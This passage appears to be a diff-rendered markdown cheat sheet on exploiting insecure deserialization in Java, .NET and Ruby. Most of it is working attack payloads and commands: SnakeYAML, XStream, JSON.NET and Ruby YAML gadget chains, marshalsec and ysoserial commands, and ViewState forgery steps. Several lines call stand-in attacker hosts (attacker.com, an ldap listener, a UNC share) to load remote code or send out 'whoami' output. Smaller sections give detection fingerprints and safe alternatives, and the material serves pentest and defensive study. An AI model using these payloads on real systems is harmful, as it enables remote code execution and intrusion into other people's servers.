|
|
71
|
+
│ └── JDK ≥ 8u72 → CC5, CC6, CC7
|
|
72
|
+
├── Commons Collections 4.x?
|
|
73
|
+
│ └── CC2, CC4
|
|
74
|
+
├── Commons BeanUtils?
|
|
75
|
+
│ └── CB1 (with or without CC)
|
|
76
|
+
├── Spring Framework?
|
|
77
|
+
│ └── Spring1, Spring2
|
|
78
|
+
├── Groovy?
|
|
79
|
+
│ └── Groovy1
|
|
80
|
+
├── Hibernate + javassist/cglib?
|
|
81
|
+
│ └── Hibernate1, Hibernate2
|
|
82
|
+
├── No external libs identified?
|
|
83
|
+
│ ├── Try URLDNS first (confirmation)
|
|
84
|
+
│ ├── JDK 7u21 → Jdk7u21
|
|
85
|
+
│ └── JRMPClient → chain to RMI server with full gadget
|
|
86
|
+
└── Unknown? Try CC6, then CB1, then URLDNS
|
|
87
|
+
```
|
|
88
|
+
|
|
89
|
+
---
|
|
90
|
+
|
|
91
|
+
## 2. SNAKEYAML GADGET
|
|
92
|
+
|
|
93
|
+
### 2.1 Concept
|
|
94
|
+
|
|
95
|
+
SnakeYAML (Java YAML parser) supports constructing arbitrary Java objects via `!!` tag. When `Yaml.load()` is called on untrusted input without `SafeConstructor`, it instantiates any class.
|
|
96
|
+
|
|
97
|
+
### 2.2 ScriptEngineManager / URLClassLoader
|
|
98
|
+
|
|
99
|
+
```yaml
|
|
100
|
+
!!javax.script.ScriptEngineManager [
|
|
101
|
+
!!java.net.URLClassLoader [[
|
|
102
|
+
!!java.net.URL ["http://attacker.com/exploit.jar"]
|
|
103
|
+
]]
|
|
104
|
+
]
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
**Exploit flow**:
|
|
108
|
+
1. SnakeYAML constructs `URLClassLoader` pointing to attacker JAR
|
|
109
|
+
2. Constructs `ScriptEngineManager` using that classloader
|
|
110
|
+
3. `ScriptEngineManager` uses `ServiceLoader` → loads `META-INF/services/javax.script.ScriptEngineFactory`
|
|
111
|
+
4. Attacker's JAR contains malicious `ScriptEngineFactory` implementation → RCE
|
|
112
|
+
|
|
113
|
+
**Attacker JAR structure**:
|
|
114
|
+
```
|
|
115
|
+
exploit.jar/
|
|
116
|
+
├── META-INF/
|
|
117
|
+
│ └── services/
|
|
118
|
+
│ └── javax.script.ScriptEngineFactory → "Exploit"
|
|
119
|
+
└── Exploit.class (implements ScriptEngineFactory, executes commands in static block)
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### 2.3 SPI-Based Variants
|
|
123
|
+
|
|
124
|
+
```yaml
|
|
125
|
+
# ProcessBuilder (direct command execution, Java 9+):
|
|
126
|
+
!!sun.misc.Service [
|
|
127
|
+
!!java.lang.ProcessBuilder [["curl", "http://attacker.com/pwned"]]
|
|
128
|
+
]
|
|
129
|
+
|
|
130
|
+
# Alternative URLClassLoader form:
|
|
131
|
+
!!java.beans.XMLDecoder
|
|
132
|
+
<java>
|
|
133
|
+
<object class="java.lang.Runtime" method="getRuntime">
|
|
134
|
+
<void method="exec"><string>calc</string></void>
|
|
135
|
+
</object>
|
|
136
|
+
</java>
|
|
137
|
+
```
|
|
138
|
+
|
|
139
|
+
### 2.4 Detection
|
|
140
|
+
|
|
141
|
+
```
|
|
142
|
+
# Indicators in HTTP traffic:
|
|
143
|
+
- Content-Type: application/x-yaml
|
|
144
|
+
- Content-Type: text/yaml
|
|
145
|
+
- YAML content with !! tags in POST body, file uploads, config endpoints
|
|
146
|
+
- Spring Cloud Config Server endpoints accepting YAML
|
|
147
|
+
|
|
148
|
+
# Test probe (DNS-based safe detection):
|
|
149
|
+
!!javax.script.ScriptEngineManager [
|
|
150
|
+
!!java.net.URLClassLoader [[
|
|
151
|
+
!!java.net.URL ["http://UNIQUE.burpcollaborator.net/probe"]
|
|
152
|
+
]]
|
|
153
|
+
]
|
|
154
|
+
```
|
|
155
|
+
|
|
156
|
+
---
|
|
157
|
+
|
|
158
|
+
## 3. HESSIAN / KRYO / AVRO DESERIALIZATION
|
|
159
|
+
|
|
160
|
+
### 3.1 Hessian
|
|
161
|
+
|
|
162
|
+
Caucho Hessian is a binary web-service protocol. Hessian's `HessianInput.readObject()` can deserialize arbitrary Java objects.
|
|
163
|
+
|
|
164
|
+
```
|
|
165
|
+
# Traffic fingerprint:
|
|
166
|
+
- Content-Type: x-application/hessian
|
|
167
|
+
- Content-Type: application/x-hessian
|
|
168
|
+
- Binary starting with: 'c' (call), 'H' (Hessian 2.0), 'r' (reply)
|
|
169
|
+
- URL patterns: /hessian, /remoting/*, /service/*
|
|
170
|
+
|
|
171
|
+
# Known vulnerable configurations:
|
|
172
|
+
- Spring Remoting with HessianServiceExporter
|
|
173
|
+
- Resin application server (Caucho)
|
|
174
|
+
- Dubbo RPC framework (Apache)
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
**Hessian gadget chains** (via `marshalsec` tool):
|
|
178
|
+
|
|
179
|
+
```bash
|
|
180
|
+
# Generate Hessian payload:
|
|
181
|
+
java -cp marshalsec.jar marshalsec.Hessian \
|
|
182
|
+
SpringPartiallyComparableAdvisorHolder \
|
|
183
|
+
"ldap://attacker.com:1389/Exploit"
|
|
184
|
+
|
|
185
|
+
# Hessian2 variant:
|
|
186
|
+
java -cp marshalsec.jar marshalsec.Hessian2 \
|
|
187
|
+
SpringAbstractBeanFactoryPointcutAdvisor \
|
|
188
|
+
"ldap://attacker.com:1389/Exploit"
|
|
189
|
+
```
|
|
190
|
+
|
|
191
|
+
**Common Hessian gadgets**:
|
|
192
|
+
- `SpringPartiallyComparableAdvisorHolder` → JNDI lookup
|
|
193
|
+
- `SpringAbstractBeanFactoryPointcutAdvisor` → JNDI lookup
|
|
194
|
+
- `Rome` → `EqualsBean` → `ToStringBean` → JNDI or `TemplatesImpl`
|
|
195
|
+
- `Resin` → `QName` → classloading
|
|
196
|
+
|
|
197
|
+
### 3.2 Kryo
|
|
198
|
+
|
|
199
|
+
Kryo is a fast Java serialization framework (often used in Spark, Storm, Akka).
|
|
200
|
+
|
|
201
|
+
```
|
|
202
|
+
# Traffic fingerprint:
|
|
203
|
+
- Binary format, no standard magic bytes
|
|
204
|
+
- Often in message queues (Kafka, RabbitMQ) rather than HTTP
|
|
205
|
+
- Configuration key: kryo.setRegistrationRequired(false) → vulnerable
|
|
206
|
+
|
|
207
|
+
# Exploit approach:
|
|
208
|
+
# If registration is NOT required, any class can be deserialized
|
|
209
|
+
# Use standard Java gadgets (CC chains work if on classpath)
|
|
210
|
+
|
|
211
|
+
# If registration IS required but includes dangerous classes:
|
|
212
|
+
# Look for: java.net.URL, javax.management.*, java.lang.ProcessBuilder
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
### 3.3 Apache Avro
|
|
216
|
+
|
|
217
|
+
```
|
|
218
|
+
# Traffic fingerprint:
|
|
219
|
+
- Content-Type: avro/binary, application/avro
|
|
220
|
+
- Uses schema registry in many deployments
|
|
221
|
+
- Binary format with schema-defined structure
|
|
222
|
+
|
|
223
|
+
# Avro deserialization is schema-bound (generally safer)
|
|
224
|
+
# BUT: Avro's Java reflection API can be abused if:
|
|
225
|
+
# - Schema specifies "java-class" property
|
|
226
|
+
# - Custom deserializers are registered
|
|
227
|
+
# - GenericDatumReader with ReflectDatumReader
|
|
228
|
+
```
|
|
229
|
+
|
|
230
|
+
### 3.4 XStream
|
|
231
|
+
|
|
232
|
+
```
|
|
233
|
+
# Traffic fingerprint:
|
|
234
|
+
- XML with <sorted-set>, <dynamic-proxy>, <tree-map> elements
|
|
235
|
+
- Often used in Jenkins, Bamboo, TeamCity
|
|
236
|
+
|
|
237
|
+
# Payload (pre-1.4.7):
|
|
238
|
+
<sorted-set>
|
|
239
|
+
<string>foo</string>
|
|
240
|
+
<dynamic-proxy>
|
|
241
|
+
<interface>java.lang.Comparable</interface>
|
|
242
|
+
<handler class="java.beans.EventHandler">
|
|
243
|
+
<target class="java.lang.ProcessBuilder">
|
|
244
|
+
<command><string>calc</string></command>
|
|
245
|
+
</target>
|
|
246
|
+
<action>start</action>
|
|
247
|
+
</handler>
|
|
248
|
+
</dynamic-proxy>
|
|
249
|
+
</sorted-set>
|
|
250
|
+
|
|
251
|
+
# Tool: marshalsec supports XStream payloads
|
|
252
|
+
java -cp marshalsec.jar marshalsec.XStream ImageIO "calc"
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
---
|
|
256
|
+
|
|
257
|
+
## 4. .NET VIEWSTATE DESERIALIZATION
|
|
258
|
+
|
|
259
|
+
### 4.1 ViewState Structure
|
|
260
|
+
|
|
261
|
+
```
|
|
262
|
+
__VIEWSTATE is a hidden form field in ASP.NET WebForms:
|
|
263
|
+
<input type="hidden" name="__VIEWSTATE" value="BASE64_ENCODED_DATA" />
|
|
264
|
+
|
|
265
|
+
Structure (after base64 decode):
|
|
266
|
+
- Serialized object graph (LosFormatter → ObjectStateFormatter → BinaryFormatter)
|
|
267
|
+
- Optional MAC (message authentication code) — HMAC-SHA1/SHA256
|
|
268
|
+
- Optional encryption — AES
|
|
269
|
+
```
|
|
270
|
+
|
|
271
|
+
### 4.2 machineKey Requirement
|
|
272
|
+
|
|
273
|
+
ViewState MAC/encryption uses keys from `web.config`:
|
|
274
|
+
|
|
275
|
+
```xml
|
|
276
|
+
<machineKey
|
|
277
|
+
validationKey="HEXKEY_FOR_MAC"
|
|
278
|
+
decryptionKey="HEXKEY_FOR_ENCRYPTION"
|
|
279
|
+
validation="SHA1"
|
|
280
|
+
decryption="AES" />
|
|
281
|
+
```
|
|
282
|
+
|
|
283
|
+
**How to obtain machineKey**:
|
|
284
|
+
1. LFI/path traversal → read `web.config`
|
|
285
|
+
2. Information disclosure (error pages, debug endpoints)
|
|
286
|
+
3. Known default keys in specific products (SharePoint, DotNetNuke)
|
|
287
|
+
4. `.config` backup files left on server
|
|
288
|
+
5. Azure App Service: sometimes in `WEBSITE_AUTH_ENCRYPTION_KEY` env var
|
|
289
|
+
|
|
290
|
+
### 4.3 ViewState Forgery
|
|
291
|
+
|
|
292
|
+
```bash
|
|
293
|
+
# With known machineKey — generate malicious ViewState:
|
|
294
|
+
ysoserial.exe -p ViewState \
|
|
295
|
+
-g TextFormattingRunProperties \
|
|
296
|
+
-c "powershell -enc BASE64_PAYLOAD" \
|
|
297
|
+
--path="/target-page.aspx" \
|
|
298
|
+
--apppath="/" \
|
|
299
|
+
--decryptionalg="AES" \
|
|
300
|
+
--decryptionkey="DECRYPTION_KEY_HEX" \
|
|
301
|
+
--validationalg="SHA1" \
|
|
302
|
+
--validationkey="VALIDATION_KEY_HEX" \
|
|
303
|
+
--islegacy
|
|
304
|
+
|
|
305
|
+
# Without encryption (enableViewStateMac=false or older .NET):
|
|
306
|
+
ysoserial.exe -p ViewState \
|
|
307
|
+
-g TypeConfuseDelegate \
|
|
308
|
+
-c "cmd /c whoami > C:\out.txt" \
|
|
309
|
+
--validationalg="SHA1" \
|
|
310
|
+
--validationkey="VALIDATION_KEY_HEX"
|
|
311
|
+
```
|
|
312
|
+
|
|
313
|
+
### 4.4 ViewState Attacks Without machineKey
|
|
314
|
+
|
|
315
|
+
```
|
|
316
|
+
# .NET Framework < 4.5 with enableViewStateMac="false" in web.config:
|
|
317
|
+
# No MAC → directly craft malicious ViewState
|
|
318
|
+
|
|
319
|
+
# Blacklist3r tool: try known/default keys:
|
|
320
|
+
Blacklist3r.exe --viewstate "BASE64_VIEWSTATE" --path "/page.aspx" --apppath "/"
|
|
321
|
+
# Tests common validation/decryption key pairs
|
|
322
|
+
|
|
323
|
+
# ASP.NET __VIEWSTATEGENERATOR value:
|
|
324
|
+
# Helps identify the target page's ViewState key derivation
|
|
325
|
+
# Format: 8 hex chars in hidden field
|
|
326
|
+
```
|
|
327
|
+
|
|
328
|
+
### 4.5 JSON.NET TypeNameHandling Exploitation
|
|
329
|
+
|
|
330
|
+
```json
|
|
331
|
+
// Vulnerable configuration:
|
|
332
|
+
// JsonConvert.DeserializeObject<T>(json, new JsonSerializerSettings {
|
|
333
|
+
// TypeNameHandling = TypeNameHandling.All // or Auto, Objects, Arrays
|
|
334
|
+
// });
|
|
335
|
+
|
|
336
|
+
// Payload — ObjectDataProvider chain:
|
|
337
|
+
{
|
|
338
|
+
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
|
|
339
|
+
"MethodName": "Start",
|
|
340
|
+
"MethodParameters": {
|
|
341
|
+
"$type": "System.Collections.ArrayList, mscorlib",
|
|
342
|
+
"$values": ["cmd.exe", "/c calc"]
|
|
343
|
+
},
|
|
344
|
+
"ObjectInstance": {
|
|
345
|
+
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
|
|
346
|
+
}
|
|
347
|
+
}
|
|
348
|
+
|
|
349
|
+
// Alternative: System.Configuration.Install.AssemblyInstaller
|
|
350
|
+
// Triggers assembly load from attacker-controlled path
|
|
351
|
+
{
|
|
352
|
+
"$type": "System.Configuration.Install.AssemblyInstaller, System.Configuration.Install",
|
|
353
|
+
"Path": "\\\\attacker.com\\share\\payload.dll"
|
|
354
|
+
}
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
---
|
|
358
|
+
|
|
359
|
+
## 5. RUBY YAML.load vs YAML.safe_load
|
|
360
|
+
|
|
361
|
+
### 5.1 Why YAML.load Is Dangerous
|
|
362
|
+
|
|
363
|
+
`YAML.load` in Ruby constructs arbitrary Ruby objects via `!ruby/object:` tags. It is equivalent to `Marshal.load` or Java's `ObjectInputStream.readObject()` in terms of attack surface.
|
|
364
|
+
|
|
365
|
+
### 5.2 Version-Specific Exploits
|
|
366
|
+
|
|
367
|
+
**Ruby ≤ 2.7.2** — `Gem::Requirement` chain (simplest):
|
|
368
|
+
|
|
369
|
+
```yaml
|
|
370
|
+
--- !ruby/object:Gem::Requirement
|
|
371
|
+
requirements:
|
|
372
|
+
!ruby/object:Gem::DependencyList
|
|
373
|
+
specs:
|
|
374
|
+
- !ruby/object:Gem::Source
|
|
375
|
+
current_fetch_uri: !ruby/object:URI::Generic
|
|
376
|
+
path: "| curl http://attacker.com/pwned"
|
|
377
|
+
```
|
|
378
|
+
|
|
379
|
+
**Ruby 2.x–3.x** — `Gem::Installer` chain (complex but broader):
|
|
380
|
+
|
|
381
|
+
```yaml
|
|
382
|
+
--- !ruby/hash:Gem::Installer
|
|
383
|
+
i: x
|
|
384
|
+
--- !ruby/hash:Gem::SpecFetcher
|
|
385
|
+
i: y
|
|
386
|
+
--- !ruby/object:Gem::Requirement
|
|
387
|
+
requirements:
|
|
388
|
+
!ruby/object:Gem::Package::TarReader
|
|
389
|
+
io: &1 !ruby/object:Net::BufferedIO
|
|
390
|
+
io: &1 !ruby/object:Gem::Package::TarReader::Entry
|
|
391
|
+
read: 0
|
|
392
|
+
header: "abc"
|
|
393
|
+
debug_output: &1 !ruby/object:Net::WriteAdapter
|
|
394
|
+
socket: &1 !ruby/object:Gem::RequestSet
|
|
395
|
+
sets: !ruby/object:Net::WriteAdapter
|
|
396
|
+
socket: !ruby/module 'Kernel'
|
|
397
|
+
method_id: :system
|
|
398
|
+
git_set: "curl http://attacker.com/$(whoami)"
|
|
399
|
+
method_id: :resolve
|
|
400
|
+
```
|
|
401
|
+
|
|
402
|
+
### 5.3 Detection in the Wild
|
|
403
|
+
|
|
404
|
+
```ruby
|
|
405
|
+
# Vulnerable patterns in source code:
|
|
406
|
+
YAML.load(user_input)
|
|
407
|
+
YAML.load(File.read(user_controlled_path))
|
|
408
|
+
YAML.load(params[:config])
|
|
409
|
+
|
|
410
|
+
# Safe alternatives:
|
|
411
|
+
YAML.safe_load(input)
|
|
412
|
+
YAML.safe_load(input, permitted_classes: [Symbol, Date])
|
|
413
|
+
Psych.safe_load(input)
|
|
414
|
+
```
|
|
415
|
+
|
|
416
|
+
### 5.4 Psych YAML Parser Versions
|
|
417
|
+
|
|
418
|
+
| Ruby Version | Psych Version | YAML.load Behavior |
|
|
419
|
+
|---|---|---|
|
|
420
|
+
| ≤ 2.0 | Psych 2.x | Arbitrary object construction |
|
|
421
|
+
| 2.1–2.7 | Psych 3.x | Arbitrary (YAML.load deprecated warning in 2.6+) |
|
|
422
|
+
| 3.0 | Psych 3.3 | YAML.load warns, still works |
|
|
423
|
+
| 3.1+ | Psych 4.0 | YAML.load defaults to safe_load behavior; need `unsafe_load` |
|
|
424
|
+
|
|
425
|
+
---
|
|
426
|
+
|
|
427
|
+
## 6. DETECTION FINGERPRINTS — MAGIC BYTES TABLE
|
|
428
|
+
|
|
429
|
+
### 6.1 By Protocol / Format
|
|
430
|
+
|
|
431
|
+
| Magic Bytes (Hex) | Base64 Prefix | Format | Language |
|
|
432
|
+
|---|---|---|---|
|
|
433
|
+
| `AC ED 00 05` | `rO0AB` | Java Serialized Object | Java |
|
|
434
|
+
| `00 01 00 00 00 FF FF FF FF` | `AAEAAAD/////` | .NET BinaryFormatter | .NET |
|
|
435
|
+
| `FF 01` | `/w` | .NET ObjectStateFormatter (ViewState) | .NET |
|
|
436
|
+
| `80 02` or `80 03` or `80 04` or `80 05` | Varies | Python pickle (protocol 2/3/4/5) | Python |
|
|
437
|
+
| `89 50 4E 47` | `iVBOR` | PNG (may contain phar polyglot) | PHP |
|
|
438
|
+
| `4F 3A` | `Tz` (base64 of `O:`) | PHP serialized object (`O:N:"Class"`) | PHP |
|
|
439
|
+
| `61 3A` | `YT` (base64 of `a:`) | PHP serialized array (`a:N:{`) | PHP |
|
|
440
|
+
| `04 08` | Varies | Ruby Marshal | Ruby |
|
|
441
|
+
| `1F 8B` | `H4s` | Gzip (may wrap serialized data) | Any |
|
|
442
|
+
| `48 02` or `63` | Varies | Hessian (2.0 / 1.0) | Java |
|
|
443
|
+
|
|
444
|
+
### 6.2 By Content-Type Header
|
|
445
|
+
|
|
446
|
+
| Content-Type | Likely Format | Risk |
|
|
447
|
+
|---|---|---|
|
|
448
|
+
| `application/x-java-serialized-object` | Java ObjectOutputStream | Critical |
|
|
449
|
+
| `application/x-java-serialized-object-xml` | XMLEncoder/XMLDecoder | Critical |
|
|
450
|
+
| `x-application/hessian` | Hessian binary | Critical |
|
|
451
|
+
| `application/x-hessian` | Hessian binary | Critical |
|
|
452
|
+
| `application/x-amf` | AMF (Flash) — often wraps Java | High |
|
|
453
|
+
| `application/x-yaml` / `text/yaml` | YAML (check for `!!` tags) | High (if YAML.load) |
|
|
454
|
+
| `application/java-archive` | JAR file | Context-dependent |
|
|
455
|
+
| `application/x-protobuf` | Protobuf (generally safe) | Low |
|
|
456
|
+
| `application/json` with `$type` | JSON.NET with TypeNameHandling | Critical |
|
|
457
|
+
| `application/xml` with suspicious elements | XStream / XMLDecoder | Critical |
|
|
458
|
+
|
|
459
|
+
### 6.3 By Cookie / Parameter Name
|
|
460
|
+
|
|
461
|
+
| Name Pattern | Likely Format | Product |
|
|
462
|
+
|---|---|---|
|
|
463
|
+
| `rememberMe` | Java serialized + AES | Apache Shiro |
|
|
464
|
+
| `__VIEWSTATE` | .NET ObjectStateFormatter | ASP.NET WebForms |
|
|
465
|
+
| `__EVENTTARGET` | .NET (associated with ViewState) | ASP.NET WebForms |
|
|
466
|
+
| `JSESSIONID` + binary cookie | Java serialized | Various Java servers |
|
|
467
|
+
| `rack.session` | Ruby Marshal (base64) | Ruby on Rails / Rack |
|
|
468
|
+
| `_session_id` + binary | Python pickle or JSON | Django / Flask |
|
|
469
|
+
| `connect.sid` | Node.js session (usually JSON, but check) | Express |
|
|
470
|
+
| `ci_session` | PHP serialized | CodeIgniter |
|
|
471
|
+
| `PHPSESSID` + serialized data | PHP serialized | PHP applications |
|
|
472
|
+
|
|
473
|
+
### 6.4 Quick Identification Script
|
|
474
|
+
|
|
475
|
+
```bash
|
|
476
|
+
# Check if base64-decoded data matches known magic bytes:
|
|
477
|
+
echo "BASE64_DATA" | base64 -d | xxd | head -1
|
|
478
|
+
|
|
479
|
+
# Java: look for "ac ed 00 05"
|
|
480
|
+
# .NET BinaryFormatter: look for "00 01 00 00 00 ff ff ff ff"
|
|
481
|
+
# Python pickle: look for "80 0N" where N is protocol version
|
|
482
|
+
# PHP: decode and look for "O:" or "a:" prefix
|
|
483
|
+
```
|
|
484
|
+
|
|
485
|
+
---
|
|
486
|
+
|
|
487
|
+
## 7. TOOLING QUICK REFERENCE
|
|
488
|
+
|
|
489
|
+
| Tool | Language | Purpose |
|
|
490
|
+
|---|---|---|
|
|
491
|
+
| **ysoserial** | Java | Java gadget chain payload generation |
|
|
492
|
+
| **ysoserial.net** | .NET | .NET gadget chain payload generation |
|
|
493
|
+
| **marshalsec** | Java | Hessian, XStream, JNDI, multiple format payloads |
|
|
494
|
+
| **PHPGGC** | PHP | PHP gadget chain generation (Laravel, Symfony, etc.) |
|
|
495
|
+
| **pimpmykali/ysoserial-modified** | Java | Extended ysoserial with more chains |
|
|
496
|
+
| **GadgetInspector** | Java | Automated gadget chain discovery in classpaths |
|
|
497
|
+
| **Blacklist3r** | .NET | ViewState key testing and forging |
|
|
498
|
+
| **SerializationDumper** | Java | Decode and inspect Java serialized objects |
|
|
499
|
+
| **jdeserialize** | Java | Parse Java serialization stream for analysis |
|
|
500
|
+
|
|
501
|
+
```bash
|
|
502
|
+
# ysoserial — try all chains with DNS callback:
|
|
503
|
+
for chain in CommonsCollections1 CommonsCollections2 CommonsCollections3 \
|
|
504
|
+
CommonsCollections4 CommonsCollections5 CommonsCollections6 \
|
|
505
|
+
CommonsCollections7 CommonsBeanutils1 Spring1 Spring2 \
|
|
506
|
+
Groovy1 Hibernate1 Jdk7u21 URLDNS; do
|
|
507
|
+
java -jar ysoserial.jar $chain "http://${chain}.TOKEN.collab.net" 2>/dev/null | \
|
|
508
|
+
base64 -w0 > "${chain}.b64"
|
|
509
|
+
echo "Generated: ${chain}"
|
|
510
|
+
done
|
|
511
|
+
```
|